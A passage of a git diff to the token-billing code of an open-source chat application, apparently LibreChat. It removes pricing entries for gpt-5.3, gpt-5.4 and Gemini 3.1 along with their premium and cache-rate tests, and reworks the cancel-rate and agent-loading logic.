+ txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
+ txn.rate *= cancelRate;
if (txn.rateDetail) {
txn.rateDetail = Object.fromEntries(
- Object.entries(txn.rateDetail).map(([k, v]) => [k, v * CANCEL_RATE]),
+ Object.entries(txn.rateDetail).map(([k, v]) => [k, v * cancelRate]),
);
}
}
diff --git a/api/models/Transaction.spec.js b/api/models/Transaction.spec.js
index f363c472e1..4b478d4dc3 100644
--- a/api/models/Transaction.spec.js
+++ b/api/models/Transaction.spec.js
@@ -1,10 +1,8 @@
const mongoose = require('mongoose');
-const { recordCollectedUsage } = require('@librechat/api');
-const { createMethods } = require('@librechat/data-schemas');
const { MongoMemoryServer } = require('mongodb-memory-server');
+const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { getMultiplier, getCacheMultiplier, premiumTokenValues, tokenValues } = require('./tx');
const { createTransaction, createStructuredTransaction } = require('./Transaction');
-const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { Balance, Transaction } = require('~/db/models');
let mongoServer;
@@ -825,139 +823,6 @@ describe('Premium Token Pricing Integration Tests', () => {
expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
});
- test('spendTokens should apply standard pricing for gemini-3.1-pro-preview below threshold', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gemini-3.1-pro-preview';
- const promptTokens = 100000;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-below',
- model,
- context: 'test',
- endpointTokenConfig: null,
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const standardPromptRate = tokenValues['gemini-3.1'].prompt;
- const standardCompletionRate = tokenValues['gemini-3.1'].completion;
- const expectedCost =
- promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- test('spendTokens should apply premium pricing for gemini-3.1-pro-preview above threshold', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gemini-3.1-pro-preview';
- const promptTokens = 250000;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-above',
- model,
- context: 'test',
- endpointTokenConfig: null,
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
- const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
- const expectedCost =
- promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- test('spendTokens should apply standard pricing for gemini-3.1-pro-preview at exactly the threshold', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gemini-3.1-pro-preview';
- const promptTokens = premiumTokenValues['gemini-3.1'].threshold;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-exact',
- model,
- context: 'test',
- endpointTokenConfig: null,
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const standardPromptRate = tokenValues['gemini-3.1'].prompt;
- const standardCompletionRate = tokenValues['gemini-3.1'].completion;
- const expectedCost =
- promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- test('spendStructuredTokens should apply premium pricing for gemini-3.1 when total input exceeds threshold', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gemini-3.1-pro-preview';
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-structured-premium',
- model,
- context: 'message',
- endpointTokenConfig: null,
- balance: { enabled: true },
- };
-
- const tokenUsage = {
- promptTokens: {
- input: 200000,
- write: 10000,
- read: 5000,
- },
- completionTokens: 1000,
- };
-
- const totalInput =
- tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
-
- await spendStructuredTokens(txData, tokenUsage);
-
- const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
- const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
- const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
- const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
-
- const expectedPromptCost =
- tokenUsage.promptTokens.input * premiumPromptRate +
- tokenUsage.promptTokens.write * writeMultiplier +
- tokenUsage.promptTokens.read * readMultiplier;
- const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
- const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(totalInput).toBeGreaterThan(premiumTokenValues['gemini-3.1'].threshold);
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
- });
-
test('non-premium models should not be affected by inputTokenCount regardless of prompt size', async () => {
const userId = new mongoose.Types.ObjectId();
const initialBalance = 100000000;
@@ -987,339 +852,3 @@ describe('Premium Token Pricing Integration Tests', () => {
expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
});
});
-
-describe('Bulk path parity', () => {
- /**
- * Each test here mirrors an existing legacy test above, replacing spendTokens/
- * spendStructuredTokens with recordCollectedUsage + bulk deps.
- * The balance deduction and transaction document fields must be numerically identical.
- */
- let bulkDeps;
- let methods;
-
- beforeEach(() => {
- methods = createMethods(mongoose);
- bulkDeps = {
- spendTokens: () => Promise.resolve(),
- spendStructuredTokens: () => Promise.resolve(),
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: {
- insertMany: methods.bulkInsertTransactions,
- updateBalance: methods.updateBalance,
- },
- };
- });
-
- test('balance should decrease when spending tokens via bulk path', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gpt-3.5-turbo';
- const promptTokens = 100;
- const completionTokens = 50;
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model,
- context: 'test',
- balance: { enabled: true },
- transactions: { enabled: true },
- collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
- });
-
- const updatedBalance = await Balance.findOne({ user: userId });
- const promptMultiplier = getMultiplier({
- model,
- tokenType: 'prompt',
- inputTokenCount: promptTokens,
- });
- const completionMultiplier = getMultiplier({
- model,
- tokenType: 'completion',
- inputTokenCount: promptTokens,
- });
- const expectedTotalCost =
- promptTokens * promptMultiplier + completionTokens * completionMultiplier;
- const expectedBalance = initialBalance - expectedTotalCost;
-
- expect(updatedBalance.tokenCredits).toBeCloseTo(expectedBalance, 0);
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(2);
- });
-
- test('bulk path should not update balance when balance.enabled is false', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'gpt-3.5-turbo';
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model,
- context: 'test',
- balance: { enabled: false },
- transactions: { enabled: true },
- collectedUsage: [{ input_tokens: 100, output_tokens: 50, model }],
- });
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBe(initialBalance);
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(2); // transactions still recorded
- });
-
- test('bulk path should not insert when transactions.enabled is false', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model: 'gpt-3.5-turbo',
- context: 'test',
- balance: { enabled: true },
- transactions: { enabled: false },
- collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(0);
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBe(initialBalance);
- });
-
- test('bulk path handles incomplete context for completion tokens — same CANCEL_RATE as legacy', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 17613154.55;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'claude-3-5-sonnet';
- const promptTokens = 10;
- const completionTokens = 50;
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-convo',
- model,
- context: 'incomplete',
- balance: { enabled: true },
- transactions: { enabled: true },
- collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- const completionTx = txns.find((t) => t.tokenType === 'completion');
- const completionMultiplier = getMultiplier({
- model,
- tokenType: 'completion',
- inputTokenCount: promptTokens,
- });
- expect(completionTx.tokenValue).toBeCloseTo(-completionTokens * completionMultiplier * 1.15, 0);
- });
-
- test('bulk path structured tokens — balance deduction matches legacy spendStructuredTokens', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 17613154.55;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'claude-3-5-sonnet';
- const promptInput = 11;
- const promptWrite = 140522;
- const promptRead = 0;
- const completionTokens = 5;
- const totalInput = promptInput + promptWrite + promptRead;
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-convo',
- model,
- context: 'message',
- balance: { enabled: true },
- transactions: { enabled: true },
- collectedUsage: [
- {
- input_tokens: promptInput,
- output_tokens: completionTokens,
- model,
- input_token_details: { cache_creation: promptWrite, cache_read: promptRead },
- },
- ],
- });
-
- const promptMultiplier = getMultiplier({
- model,
- tokenType: 'prompt',
- inputTokenCount: totalInput,
- });
- const completionMultiplier = getMultiplier({
- model,
- tokenType: 'completion',
- inputTokenCount: totalInput,
- });
- const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
- const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
-
- const expectedPromptCost =
- promptInput * promptMultiplier + promptWrite * writeMultiplier + promptRead * readMultiplier;
- const expectedCompletionCost = completionTokens * completionMultiplier;
- const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
- const expectedBalance = initialBalance - expectedTotalCost;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(Math.abs(updatedBalance.tokenCredits - expectedBalance)).toBeLessThan(100);
- });
-
- test('premium pricing above threshold via bulk path — same balance as legacy', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'claude-opus-4-6';
- const promptTokens = 250000;
- const completionTokens = 500;
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-premium',
- model,
- context: 'test',
- balance: { enabled: true },
- transactions: { enabled: true },
- collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
- });
-
- const premiumPromptRate = premiumTokenValues[model].prompt;
- const premiumCompletionRate = premiumTokenValues[model].completion;
- const expectedCost =
- promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- test('real-world multi-entry batch: 5 sequential tool calls — same total deduction as 5 legacy spendTokens calls', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 100000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- const model = 'claude-opus-4-5-20251101';
- const calls = [
- { input_tokens: 31596, output_tokens: 151 },
- { input_tokens: 35368, output_tokens: 150 },
- { input_tokens: 58362, output_tokens: 295 },
- { input_tokens: 112604, output_tokens: 193 },
- { input_tokens: 257440, output_tokens: 2217 },
- ];
-
- let expectedTotalCost = 0;
- for (const { input_tokens, output_tokens } of calls) {
- const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: input_tokens });
- const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: input_tokens });
- expectedTotalCost += input_tokens * pm + output_tokens * cm;
- }
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-sequential',
- model,
- context: 'message',
- balance: { enabled: true },
- transactions: { enabled: true },
- collectedUsage: calls.map((c) => ({ ...c, model })),
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(10); // 5 calls × 2 docs (prompt + completion)
-
- const updatedBalance = await Balance.findOne({ user: userId });
- expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
- });
-
- test('bulk path should save transaction but not update balance when balance disabled, transactions enabled', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model: 'gpt-3.5-turbo',
- context: 'test',
- balance: { enabled: false },
- transactions: { enabled: true },
- collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(2);
- expect(txns[0].rawAmount).toBeDefined();
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBe(initialBalance);
- });
-
- test('bulk path structured tokens should not save when transactions.enabled is false', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model: 'claude-3-5-sonnet',
- context: 'message',
- balance: { enabled: true },
- transactions: { enabled: false },
- collectedUsage: [
- {
- input_tokens: 10,
- output_tokens: 5,
- model: 'claude-3-5-sonnet',
- input_token_details: { cache_creation: 100, cache_read: 5 },
- },
- ],
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(0);
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBe(initialBalance);
- });
-
- test('bulk path structured tokens should save but not update balance when balance disabled', async () => {
- const userId = new mongoose.Types.ObjectId();
- const initialBalance = 10000000;
- await Balance.create({ user: userId, tokenCredits: initialBalance });
-
- await recordCollectedUsage(bulkDeps, {
- user: userId.toString(),
- conversationId: 'test-conversation-id',
- model: 'claude-3-5-sonnet',
- context: 'message',
- balance: { enabled: false },
- transactions: { enabled: true },
- collectedUsage: [
- {
- input_tokens: 10,
- output_tokens: 5,
- model: 'claude-3-5-sonnet',
- input_token_details: { cache_creation: 100, cache_read: 5 },
- },
- ],
- });
-
- const txns = await Transaction.find({ user: userId }).lean();
- expect(txns).toHaveLength(2);
- const promptTx = txns.find((t) => t.tokenType === 'prompt');
- expect(promptTx.inputTokens).toBe(-10);
- expect(promptTx.writeTokens).toBe(-100);
- expect(promptTx.readTokens).toBe(-5);
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBe(initialBalance);
- });
-});
diff --git a/api/models/loadAddedAgent.js b/api/models/loadAddedAgent.js
index 101ee96685..aa83375eae 100644
--- a/api/models/loadAddedAgent.js
+++ b/api/models/loadAddedAgent.js
@@ -48,14 +48,14 @@ const loadAddedAgent = async ({ req, conversation, primaryAgent }) => {
return null;
}
+ // If there's an agent_id, load the existing agent
if (conversation.agent_id && !isEphemeralAgentId(conversation.agent_id)) {
- let agent = req.resolvedAddedAgent;
- if (!agent) {
- if (!getAgent) {
- throw new Error('getAgent not initialized - call setGetAgent first');
- }
- agent = await getAgent({ id: conversation.agent_id });
+ if (!getAgent) {
+ throw new Error('getAgent not initialized - call setGetAgent first');
}
+ const agent = await getAgent({
+ id: conversation.agent_id,
+ });
if (!agent) {
logger.warn(`[loadAddedAgent] Agent ${conversation.agent_id} not found`);
diff --git a/api/models/spendTokens.spec.js b/api/models/spendTokens.spec.js
index dfeec5ee83..c076d29700 100644
--- a/api/models/spendTokens.spec.js
+++ b/api/models/spendTokens.spec.js
@@ -878,135 +878,6 @@ describe('spendTokens', () => {
expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
});
- it('should charge standard rates for gemini-3.1-pro-preview when prompt tokens are below threshold', async () => {
- const initialBalance = 100000000;
- await Balance.create({
- user: userId,
- tokenCredits: initialBalance,
- });
-
- const model = 'gemini-3.1-pro-preview';
- const promptTokens = 100000;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-standard-pricing',
- model,
- context: 'test',
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const expectedCost =
- promptTokens * tokenValues['gemini-3.1'].prompt +
- completionTokens * tokenValues['gemini-3.1'].completion;
-
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- it('should charge premium rates for gemini-3.1-pro-preview when prompt tokens exceed threshold', async () => {
- const initialBalance = 100000000;
- await Balance.create({
- user: userId,
- tokenCredits: initialBalance,
- });
-
- const model = 'gemini-3.1-pro-preview';
- const promptTokens = 250000;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-premium-pricing',
- model,
- context: 'test',
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const expectedCost =
- promptTokens * premiumTokenValues['gemini-3.1'].prompt +
- completionTokens * premiumTokenValues['gemini-3.1'].completion;
-
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- it('should charge premium rates for gemini-3.1-pro-preview-customtools when prompt tokens exceed threshold', async () => {
- const initialBalance = 100000000;
- await Balance.create({
- user: userId,
- tokenCredits: initialBalance,
- });
-
- const model = 'gemini-3.1-pro-preview-customtools';
- const promptTokens = 250000;
- const completionTokens = 500;
-
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-customtools-premium',
- model,
- context: 'test',
- balance: { enabled: true },
- };
-
- await spendTokens(txData, { promptTokens, completionTokens });
-
- const expectedCost =
- promptTokens * premiumTokenValues['gemini-3.1'].prompt +
- completionTokens * premiumTokenValues['gemini-3.1'].completion;
-
- const balance = await Balance.findOne({ user: userId });
- expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
- });
-
- it('should charge premium rates for structured gemini-3.1 tokens when total input exceeds threshold', async () => {
- const initialBalance = 100000000;
- await Balance.create({
- user: userId,
- tokenCredits: initialBalance,
- });
-
- const model = 'gemini-3.1-pro-preview';
- const txData = {
- user: userId,
- conversationId: 'test-gemini31-structured-premium',
- model,
- context: 'test',
- balance: { enabled: true },
- };
-
- const tokenUsage = {
- promptTokens: {
- input: 200000,
- write: 10000,
- read: 5000,
- },
- completionTokens: 1000,
- };
-
- const result = await spendStructuredTokens(txData, tokenUsage);
-
- const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
- const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
- const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
- const readRate = getCacheMultiplier({ model, cacheType: 'read' });
-
- const expectedPromptCost =
- tokenUsage.promptTokens.input * premiumPromptRate +
- tokenUsage.promptTokens.write * writeRate +
- tokenUsage.promptTokens.read * readRate;
- const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
-
- expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
- expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
- });
-
it('should not apply premium pricing to non-premium models regardless of prompt size', async () => {
const initialBalance = 100000000;
await Balance.create({
diff --git a/api/models/tx.js b/api/models/tx.js
index ce14fad3a0..9a6305ec5c 100644
--- a/api/models/tx.js
+++ b/api/models/tx.js
@@ -4,18 +4,31 @@ const defaultRate = 6;
/**
* Token Pricing Configuration
*
- * Pattern Matching
- * ================
- * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
- * the LONGEST matching key. If a key's length equals the model name's length (exact match),
- * it returns immediately. Definition order does NOT affect correctness.
+ * IMPORTANT: Key Ordering for Pattern Matching
+ * ============================================
+ * The `findMatchingPattern` function iterates through object keys in REVERSE order
+ * (last-defined keys are checked first) and uses `modelName.includes(key)` for matching.
*
- * Key ordering matters only for:
- * 1. Performance: list older/less common models first so newer/common models
- * are found earlier in the reverse scan.
- * 2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
+ * This means:
+ * 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot")
+ * 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5")
+ *
+ * Example ordering for Kimi models:
+ * kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern - checked last
+ * 'kimi-k2': { prompt: 0.6, completion: 2.5 }, // More specific - checked before "kimi"
+ * 'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, // Most specific - checked first
+ *
+ * Why this matters:
+ * - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
+ * - If "kimi" were checked first, it would incorrectly match and return wrong pricing
+ * - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
*
* This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
+ *
+ * When adding new model families:
+ * 1. Define the base/generic pattern first
+ * 2. Define increasingly specific patterns after
+ * 3. Ensure no pattern is a substring of another that should match differently
*/
/**
@@ -137,14 +150,9 @@ const tokenValues = Object.assign(
'gpt-5': { prompt: 1.25, completion: 10 },
'gpt-5.1': { prompt: 1.25, completion: 10 },
'gpt-5.2': { prompt: 1.75, completion: 14 },
- 'gpt-5.3': { prompt: 1.75, completion: 14 },
- 'gpt-5.4': { prompt: 2.5, completion: 15 },
- // TODO: gpt-5.4-pro pricing not yet officially published — verify before release
- 'gpt-5.4-pro': { prompt: 5, completion: 30 },
'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
'gpt-5-mini': { prompt: 0.25, completion: 2 },
'gpt-5-pro': { prompt: 15, completion: 120 },
- 'gpt-5.2-pro': { prompt: 21, completion: 168 },
o1: { prompt: 15, completion: 60 },
'o1-mini': { prompt: 1.1, completion: 4.4 },
'o1-preview': { prompt: 15, completion: 60 },
@@ -192,8 +200,6 @@ const tokenValues = Object.assign(
'gemini-2.5-flash-image': { prompt: 0.15, completion: 30 },
'gemini-3': { prompt: 2, completion: 12 },
'gemini-3-pro-image': { prompt: 2, completion: 120 },
- 'gemini-3.1': { prompt: 2, completion: 12 },
- 'gemini-3.1-flash-lite': { prompt: 0.25, completion: 1.5 },
'gemini-pro-vision': { prompt: 0.5, completion: 1.5 },
grok: { prompt: 2.0, completion: 10.0 }, // Base pattern defaults to grok-2
'grok-beta': { prompt: 5.0, completion: 15.0 },
@@ -308,29 +314,6 @@ const cacheTokenValues = {
'claude-opus-4': { write: 18.75, read: 1.5 },
'claude-opus-4-5': { write: 6.25, read: 0.5 },
'claude-opus-4-6': { write: 6.25, read: 0.5 },
- // OpenAI models — cached input discount varies by family:
- // gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
- // gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
- // gpt-5.x (excl. pro variants): 90% off
- // gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
- 'gpt-4o': { write: 2.5, read: 1.25 },
- 'gpt-4o-mini': { write: 0.15, read: 0.075 },
- 'gpt-4.1': { write: 2, read: 0.5 },
- 'gpt-4.1-mini': { write: 0.4, read: 0.1 },
- 'gpt-4.1-nano': { write: 0.1, read: 0.025 },
- 'gpt-5': { write: 1.25, read: 0.125 },
- 'gpt-5.1': { write: 1.25, read: 0.125 },
- 'gpt-5.2': { write: 1.75, read: 0.175 },
- 'gpt-5.3': { write: 1.75, read: 0.175 },
- 'gpt-5.4': { write: 2.5, read: 0.25 },
- 'gpt-5-mini': { write: 0.25, read: 0.025 },
- 'gpt-5-nano': { write: 0.05, read: 0.005 },
- o1: { write: 15, read: 7.5 },
- 'o1-mini': { write: 1.1, read: 0.55 },
- 'o1-preview': { write: 15, read: 7.5 },
- o3: { write: 2, read: 0.5 },
- 'o3-mini': { write: 1.1, read: 0.275 },
- 'o4-mini': { write: 1.1, read: 0.275 },
// DeepSeek models - cache hit: $0.028/1M, cache miss: $0.28/1M
deepseek: { write: 0.28, read: 0.028 },
'deepseek-chat': { write: 0.28, read: 0.028 },
@@ -347,10 +330,6 @@ const cacheTokenValues = {
'kimi-k2-0711-preview': { write: 0.6, read: 0.15 },
'kimi-k2-thinking': { write: 0.6, read: 0.15 },
'kimi-k2-thinking-turbo': { write: 1.15, read: 0.15 },
- // Gemini 3.1 Pro - cache write: $2.00/1M, cache read: $0.20/1M
- 'gemini-3.1': { write: 2, read: 0.2 },
- // Gemini 3.1 Flash-Lite - cache write: $0.25/1M, cache read: $0.025/1M
- 'gemini-3.1-flash-lite': { write: 0.25, read: 0.025 },
};
/**
@@ -361,7 +340,6 @@ const cacheTokenValues = {
const premiumTokenValues = {
'claude-opus-4-6': { threshold: 200000, prompt: 10, completion: 37.5 },
'claude-sonnet-4-6': { threshold: 200000, prompt: 6, completion: 22.5 },
- 'gemini-3.1': { threshold: 200000, prompt: 4, completion: 18 },
};
/**
diff --git a/api/models/tx.spec.js b/api/models/tx.spec.js
index 666cd0a3b8..df1bec8619 100644
--- a/api/models/tx.spec.js
+++ b/api/models/tx.spec.js
@@ -52,24 +52,6 @@ describe('getValueKey', () => {
expect(getValueKey('openai/gpt-5.2')).toBe('gpt-5.2');
});
- it('should return "gpt-5.3" for model name containing "gpt-5.3"', () => {
- expect(getValueKey('gpt-5.3')).toBe('gpt-5.3');
- expect(getValueKey('gpt-5.3-chat-latest')).toBe('gpt-5.3');
- expect(getValueKey('gpt-5.3-codex')).toBe('gpt-5.3');
- expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
- });
-
- it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
- expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
- expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
- expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
- });
-
- it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
- expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
- expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
- });
-
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
@@ -156,12 +138,6 @@ describe('getValueKey', () => {
expect(getValueKey('gpt-5-pro-preview')).toBe('gpt-5-pro');
});
- it('should return "gpt-5.2-pro" for model name containing "gpt-5.2-pro"', () => {
- expect(getValueKey('gpt-5.2-pro')).toBe('gpt-5.2-pro');
- expect(getValueKey('gpt-5.2-pro-2025-03-01')).toBe('gpt-5.2-pro');
- expect(getValueKey('openai/gpt-5.2-pro')).toBe('gpt-5.2-pro');
- });
-
it('should return "gpt-4o" for model type of "gpt-4o"', () => {
expect(getValueKey('gpt-4o-2024-08-06')).toBe('gpt-4o');
expect(getValueKey('gpt-4o-2024-08-06-0718')).toBe('gpt-4o');
@@ -360,18 +336,6 @@ describe('getMultiplier', () => {
);
});
- it('should return the correct multiplier for gpt-5.2-pro', () => {
- expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.2-pro'].prompt,
- );
- expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'completion' })).toBe(
- tokenValues['gpt-5.2-pro'].completion,
- );
- expect(getMultiplier({ model: 'openai/gpt-5.2-pro', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.2-pro'].prompt,
- );
- });
-
it('should return the correct multiplier for gpt-5.1', () => {
expect(getMultiplier({ model: 'gpt-5.1', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.1'].prompt,
@@ -396,48 +360,6 @@ describe('getMultiplier', () => {
);
});
- it('should return the correct multiplier for gpt-5.3', () => {
- expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.3'].prompt,
- );
- expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'completion' })).toBe(
- tokenValues['gpt-5.3'].completion,
- );
- expect(getMultiplier({ model: 'gpt-5.3-codex', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.3'].prompt,
- );
- expect(getMultiplier({ model: 'openai/gpt-5.3', tokenType: 'completion' })).toBe(
- tokenValues['gpt-5.3'].completion,
- );
- });
-
- it('should return the correct multiplier for gpt-5.4', () => {
- expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
- tokenValues['gpt-5.4'].prompt,
- );
- expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
